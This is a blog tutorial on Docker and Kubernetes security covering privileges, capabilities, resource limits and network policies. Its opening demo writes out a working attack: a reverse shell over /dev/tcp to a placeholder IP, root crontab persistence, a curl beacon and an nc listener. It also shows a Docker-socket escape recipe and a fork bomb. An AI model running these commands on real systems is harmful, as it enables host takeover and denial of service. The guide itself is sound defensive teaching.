Container & Kubernetes Security: A Beginner's Guide to Not Getting Hacked

Yash PalYash Pal
10 min read

Remember the CrowdStrike outage? Yeah, let's avoid being the next headline.

Security isn't just a checkbox at the end of your deployment pipeline—it's the foundation everything else is built on. Whether you're running a simple containerized app or managing a complex Kubernetes cluster, understanding security fundamentals can save you from becoming tomorrow's cautionary tale.

In this comprehensive guide, we'll explore container and Kubernetes security through hands-on examples. By the end, you'll understand why mounting Docker sockets is like giving strangers the keys to your house, and how to sleep peacefully knowing your clusters are properly secured.


Container Security Fundamentals

Why Securing Your Containers is Non-Negotiable

More often than not, securing your infrastructure comes at a cost. Sometimes it might be malicious acts like DDoS attacks, data theft, cryptocurrency mining, or privilege escalation. The recent CrowdStrike outage that led to widespread system crashes and disruptions across numerous industries perfectly illustrates why security should be thought of from the beginning, not as an afterthought.

The Docker Socket: Your Gateway to Trouble

68747470733a2f2f6d69726f2e6d656469756d2e636f6d2f6d61782f313430302f312a437956716b6d4137774c5961697070434752585735772e6a706567 (1024×576)

Let's start with a practical demonstration of how container security can go wrong. We'll simulate a common attack vector using reverse shells and cron jobs.

Setting Up the Attack Scenario

First, let's mount an Ubuntu container onto your host system and explore the filesystem:

docker run --rm -it -v /:/abcd ubuntu bash
ls -l /abcd/var/lib/docker
hostname  # You'll see a random hash like c018e57bb1b7

Now we'll establish a reverse shell connection:

echo "bash -i >& /dev/tcp/<your-ip-address>/8888 0>&1" > /abcd/tmp/run.sh
chmod +x /abcd/tmp/run.sh
echo "*  *    * * *   root    bash /tmp/run.sh" >> /abcd/etc/crontab
echo '*  *    * * *   root    curl <your-ip-address>:8000/test/$(hostname)' >> /abcd/etc/crontab

Pro Tip: Visit crontab.guru to understand cron scheduling syntax.

On your server (or EC2 instance), listen for incoming connections:

nc -nlvp 8888

This demonstrates how mounting the Docker socket (/var/run/docker.sock) can give attackers complete control over your host system.


Decoding Container Privileges: A Key to Security

Container security largely depends on understanding how user privileges work across the container boundary. Let's explore different scenarios:

Scenario 1: Root on Host & Root in Container

When you run a container normally, processes appear as root inside the container and on the host:

docker run --rm -it nginx bash
sleep 1d &  # Run in background

Check the process from your host:

ps -ef | grep sleep  # Shows root user
ls /proc/<PID>/ns    # Shows container namespaces

Scenario 2: Non-Root Host User & Root in Container

This scenario is particularly dangerous:

# Add a user and give them Docker socket access
adduser yoshi
sudo chown yoshi:yoshi /var/run/docker.sock
su - yoshi

# Run container as yoshi user
docker run --rm -it nginx bash
sleep 2d &

Even though you're running as a non-root user, the process still runs with root privileges because Docker daemon runs as root. This is why Docker socket access is equivalent to root access.

Scenario 3: Limiting Container User Privileges

docker run --rm --user 1000:1000 -it nginx bash
sleep 3d &

This runs the container process as UID 1000, providing better security isolation.

Demonstrating File Access Control

Create a sensitive file:

echo "I'm root" > /tmp/groot.txt
chmod 0600 /tmp/groot.txt  # Only root can read
su - ubuntu  # Switch to non-root user
cat /tmp/groot.txt  # Permission denied

Now test container access:

# With root container - can read the file
docker run --rm -it -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt

# With non-root container - permission denied
docker run --rm -it -u 1000:1000 -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt

Key Takeaway: When the user inside the container is non-root, even if the container gets compromised, the attacker cannot read mounted sensitive files without appropriate permissions.


The Danger Zone: Privileged Containers

Privileged containers have access to all host capabilities and can modify kernel parameters. Let's see how dangerous this can be:

# Check current swappiness value
cat /proc/sys/vm/swappiness

# Run privileged container and modify kernel parameter
docker run --rm --privileged -it ubuntu bash
echo 10 > /proc/sys/vm/swappiness
exit

# Check if host value changed
cat /proc/sys/vm/swappiness  # Value is now 10!

Detecting Privileged Containers

Run these commands to identify if you're in a privileged container:

# Normal container
docker run --rm -it ubuntu bash
mount | grep 'ro,'          # Should show read-only mounts
mount | grep /proc.*tmpfs   # Should show proc restrictions
capsh --print               # Shows limited capabilities
grep Seccomp /proc/1/status # Shows seccomp filtering

# Privileged container
docker run --rm --privileged -it ubuntu bash
# Same commands show fewer restrictions

Linux Capabilities: Fine-Tuning Container Permissions

Linux capabilities provide a middle ground between running as root and running as an unprivileged user. Instead of granting all root privileges, you can grant specific capabilities.

Understanding Capability Sets

# Check capabilities of a process
grep Cap /proc/self/status
capsh --decode=<hex-value>

# Compare different container types
docker run --rm -it ubuntu sleep 1d &
ps aux | grep sleep
grep Cap /proc/<pid>/status

docker run --rm --privileged -it ubuntu sleep 2d &
ps aux | grep sleep  
grep Cap /proc/<pid>/status  # More capabilities

docker run --rm --cap-drop=all -it ubuntu sleep 3d &
ps aux | grep sleep
grep Cap /proc/<pid>/status  # Minimal capabilities

Capability Types Explained

  • CapEff: Effective capabilities (currently active)

  • CapPrm: Permitted capabilities (maximum allowed)

  • CapInh: Inherited capabilities (passed to child processes)

  • CapBnd: Bounding set (hard limit on capabilities)

  • CapAmb: Ambient capabilities (preserved across exec)

Key Capabilities to Understand

  • CAP_CHOWN: Change file ownership

  • CAP_DAC_OVERRIDE: Bypass file permission checks

  • CAP_SYS_ADMIN: Most powerful capability (manage cgroups, mount filesystems)

  • CAP_NET_RAW: Send raw network packets (needed for ping)

Practical Capability Examples

# This works - busybox has NET_RAW capability by default
docker run --rm -it busybox:1.28 ping google.com

# This fails - we dropped NET_RAW capability
docker run --rm --cap-drop=NET_RAW -it busybox:1.28 ping google.com

# Demonstrating CHOWN capability
docker run --rm -it ubuntu chown nobody /tmp  # Works

docker run --rm -it --cap-drop=all ubuntu chown nobody /tmp  # Fails

docker run --rm -it --cap-drop=all --cap-add=chown ubuntu chown nobody /tmp  # Works
💡
A common bad practice is running a container as root in prod.


Preventing Container Escapes: Stay One Step Ahead

When containers are compromised, attackers often try to escape to the host system. Here's how they might do it:

The Docker Socket Attack

If an attacker gains access to your container and finds the Docker socket mounted, they can:

# Inside compromised container
find / -name docker.sock 2>/dev/null

# If Docker isn't installed, download it
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xvf docker-17.03.0-ce.tgz
cd docker

# If socket is at non-standard location
./docker -H unix:///custom/docker/docker.sock ps
./docker -H unix:///custom/docker/docker.sock images

Dangerous Host Namespaces

Avoid mounting these host namespaces:

hostPID: Access to all host processes

docker run --pid=host -it ubuntu ps aux  # See all host processes

hostNetwork: Direct access to host networking

docker run --network=host -it ubuntu netstat -tulpn  # See all host network connections

hostIPC: Access to inter-process communication

docker run --ipc=host -it ubuntu ls -la /dev/shm  # Access host IPC

Resource Limits: Preventing Container Chaos

The Fork Bomb Demonstration

⚠️ WARNING: Only run this in isolated environments like Killercoda!

A fork bomb can crash your system by consuming all available resources:

:(){ :|:& };:

Demonstrating Resource Limits

  • Without limits (dangerous):
docker run --name unlimited --rm -it ubuntu bash
# In another terminal: docker stats unlimited
# Run fork bomb - system will struggle
  • With limits (safe):
docker run --name withlimits --rm -m 0.5Gi --cpus 0.8 -it ubuntu bash
# In another terminal: docker stats withlimits  
# Fork bomb will be contained

Key Lesson: Always set resource limits to prevent DoS attacks and resource exhaustion.

If you want to learn more about the internals of a container and Isolation in the same system with unique namespaces.
You can check out my blogs:

Docker—diving deep inside a container

Chroot Into Linux Mint From Ubuntu — Like Containers, Without the Overhead


Kubernetes Security 101: Essential Practices

Service Account Token Management

  • One common vulnerability is automatically mounting service account tokens:
# Find the automount field location
kubectl krew install fields  # Install kubectl plugin
kubectl fields pods automount
# Output: spec.automountServiceAccountToken
  • Disable automatic token mounting when not needed:
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  automountServiceAccountToken: false
  containers:
  - name: app
    image: nginx

Network Policies: Your Cluster's Firewall

Network policies control traffic flow between pods, implementing microsegmentation in your cluster.

Example Scenario: Securing an API Server

  • Create a simple API server:
kubectl run apiserver --image=nginx --labels="app=bookstore,role=api" --expose --port=80
  • Apply a restrictive network policy:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-allow
spec:
  podSelector:
    matchLabels:
      app: bookstore
      role: api
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: bookstore

Testing Network Policies

  • Test that traffic is blocked from unauthorized pods:
kubectl run test-$RANDOM --rm -i -t --image=alpine -- sh
# Inside pod: wget -qO- --timeout=2 http://apiserver
# Should timeout - traffic blocked!
  • Test that traffic is allowed from authorized pods:
kubectl run test-$RANDOM --rm -i -t --image=alpine --labels="app=bookstore,role=frontend" -- sh
# Inside pod: wget -qO- --timeout=2 http://apiserver  
# Should work - traffic allowed!

Network Policy Best Practices

  1. Default Deny: Start with denying all traffic, then explicitly allow what's needed

  2. Namespace Isolation: Use namespaces to create security boundaries

  3. Least Privilege: Only allow the minimum required connectivity

  4. Documentation: Clearly document your network policy intentions


Security Tools and Best Practices

Essential Security Tools

Trivy: Comprehensive vulnerability scanner

trivy image nginx:latest
trivy fs .

Dive: Explore Docker image layers

dive nginx:latest

Dockle: Dockerfile security linter

dockle nginx:latest

Falco: Runtime security monitoring

# Example Falco rule
- rule: Detect Shell in Container
  desc: Detect shell execution in container
  condition: >
    spawned_process and container and
    (proc.name in (shell_binaries))
  output: >
    Shell spawned in container
    (user=%user.name container=%container.name shell=%proc.name)
  priority: WARNING

I will not be covering these in this blog maybe some other time ;)

Security Checklist

Container Security

  • Run containers as non-root users

  • Use minimal base images (distroless, Alpine)

  • Set resource limits (CPU, memory)

  • Drop unnecessary capabilities

  • Avoid privileged containers

  • Never mount Docker socket

  • Scan images for vulnerabilities

  • Use read-only root filesystems when possible

Kubernetes Security

  • Enable RBAC and use least privilege

  • Disable automounting service account tokens when unnecessary

  • Implement network policies

  • Use Pod Security Standards

  • Regularly update Kubernetes and node OS

  • Enable audit logging

  • Secure etcd with encryption at rest

  • Use admission controllers (OPA/Gatekeeper)


Conclusion: Security is a Journey, Not a Destination

Container and Kubernetes security might seem overwhelming at first, but remember: every security measure you implement makes your infrastructure more resilient. Start with the basics—running containers as non-root users, setting resource limits, and implementing network policies—then gradually add more advanced protections.

The key lessons from this guide:

  1. Never mount the Docker socket unless absolutely necessary and properly secured

  2. Privileged containers are dangerous and should be avoided in production

  3. Linux capabilities provide fine-grained permission control

  4. Resource limits prevent DoS attacks and resource exhaustion

  5. Network policies are essential for cluster microsegmentation

  6. Security tools help identify vulnerabilities before they become problems

Remember, security is not about perfection—it's about making your systems harder to compromise than easier targets. Every layer of security you add forces attackers to work harder and increases the chance they'll move on to easier prey.


Additional Resources


Found this helpful? Share it with your team and help make the cloud-native world a little more secure! 🚀

Connect with me:

#Kubernetes #Security #CloudNative #DevOps # DevSecOps #K8sTips #LearningInPublic #ContainerSecurity


"In security, there are no final victories, only vigilant preparation for the next challenge."

Stay secure, stay learning! 🛡️

5
Subscribe to my newsletter

Read articles from Yash Pal directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Yash Pal
Yash Pal

Hey I am a budding developer who is passionate to learn tech and explore the domains Computer Science has to offer. I also like to contribute to Open Source, help others and also learn from seasoned engineers in the process.